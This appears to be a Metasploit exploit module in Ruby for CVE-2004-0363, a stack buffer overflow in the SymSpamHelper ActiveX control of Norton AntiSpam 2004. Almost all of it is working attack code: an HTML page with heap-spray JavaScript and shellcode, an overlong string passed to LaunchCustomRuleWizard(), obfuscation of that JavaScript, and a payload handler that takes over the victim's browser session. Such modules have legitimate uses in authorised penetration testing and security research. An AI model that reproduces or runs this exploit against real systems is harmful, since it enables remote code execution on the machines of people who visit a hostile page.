113 lines
2.9 KiB
Ruby
113 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Norton AntiSpam 2004. When
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sending an overly long string to the LaunchCustomRuleWizard() method
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of symspam.dll (2004.1.0.147) an attacker may be able to execute
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arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2004-0363' ],
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[ 'OSVDB', '6249' ],
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[ 'BID', '9916' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'Mar 19 2004',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Set the return.
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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js = %Q|
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try {
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var evil_string = "";
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var index;
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var vulnerable = new ActiveXObject('SymSpamBlockingUI.SymSpamHelper.1');
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), #{target.ret}, 0x40000);
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for (index = 0; index < 2024; index++) {
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evil_string = evil_string + my_unescape('#{ret}');
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}
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vulnerable.LaunchCustomRuleWizard(evil_string);
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} catch( e ) { window.location = 'about:blank' ; }
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => [
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'vulnerable',
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'shellcode',
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'my_unescape',
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'index',
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'evil_string',
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]
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.update_opts(js_heap_spray.opts)
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js.obfuscate(memory_sensitive: true)
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content = %Q|<html>
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<body>
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<script><!--
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#{js}
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//</script>
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</body>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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